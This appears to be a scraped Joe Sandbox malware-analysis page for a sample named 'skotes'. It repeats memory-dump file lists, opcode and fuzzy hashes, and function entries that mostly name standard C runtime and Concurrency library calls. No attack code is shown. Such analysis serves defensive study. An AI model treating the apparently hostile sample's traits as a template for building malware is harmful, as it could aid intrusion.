Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 352f16c40c90a6d8febcd9d655808273000f2f8c4d81bab8b04818059852ab98
Instruction ID: 95ead87365c9d343befbafb4ce81e0d47a6761b79ec1e9b86fcae69f81671b13
Opcode Fuzzy Hash: 352f16c40c90a6d8febcd9d655808273000f2f8c4d81bab8b04818059852ab98
Instruction Fuzzy Hash: 47312A3A7116219FDF15AF20CC81EADB7A6AF88710F148279ED059F395DF30AD158B90

Function 00282CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00282D0F

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: fcc60e526c705b0ac1d94708c84d8df568248590583a7e4d87878ed25b3f490b
Instruction ID: 3a0b74e5dfb327684c7af75ca41b1b5d4ba66b290d3a74a344b9e7d3164c5cff
Opcode Fuzzy Hash: fcc60e526c705b0ac1d94708c84d8df568248590583a7e4d87878ed25b3f490b
Instruction Fuzzy Hash: 54313B79A11309DFDF10EF94C8C0BAEBBB9BB44314F1404AADD019B386D770A959DBA0

Function 002913F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 002913FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00291447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 0029147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 0029152A

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 2ffbb76031f8bd3b0bb0822bb7de8a9305c8cb85b04c684df39ff3063bd650fb
Instruction ID: a432f66358c0b227f50a9e84cfa37d0c4ec3c8697c6aba5a964498fed085280e
Opcode Fuzzy Hash: 2ffbb76031f8bd3b0bb0822bb7de8a9305c8cb85b04c684df39ff3063bd650fb
Instruction Fuzzy Hash: 36317075A20606DBCF14EFA9C4919EDFBB5BF48710B14822DE416A7291CB34AA61CF90

Function 0027BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0027BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0027BBE4
_xtime_get.LIBCPMT ref: 0027BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0027BC13

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 57f723546a1fe8efed36185f8cc5dfd58e71d9d077d365e8aeeecb575e10b49b
Instruction ID: ce01dd7c2ccb0c5ca3eb3084e8809487f45db4fb1b39e7d421a1f5449e355e02
Opcode Fuzzy Hash: 57f723546a1fe8efed36185f8cc5dfd58e71d9d077d365e8aeeecb575e10b49b
Instruction Fuzzy Hash: 85211D71A10119AFDF01EFA4DC859BEB7B9EF48710F20801AFA05B7251DB709D519BA1

Function 00289C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00289C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00289CE8
std::bad_exception::bad_exception.LIBCMT ref: 00289CFE
std::bad_exception::bad_exception.LIBCMT ref: 00289D6A

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: a7b1580b5c70e296a008cbaa54f1494ba8df7b67ee47e6e9e0346f9855d0a336
Instruction ID: cb6e3c641fc1d197c00ed99f5a5365810949738a218f18f6369a1003df5422f5
Opcode Fuzzy Hash: a7b1580b5c70e296a008cbaa54f1494ba8df7b67ee47e6e9e0346f9855d0a336
Instruction Fuzzy Hash: 2121C439922204AFDB05FF64D982DBDB7B0AF05314B284065F101AB2E1EB31AEA1CF54

Function 0028A026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 0028A069

Part of subcall function 0028B560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 0028B5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0028A07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 0028A0CB

Part of subcall function 0028AB41: List.LIBCONCRT ref: 0028AB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 0028A0DB

Memory Dump Source

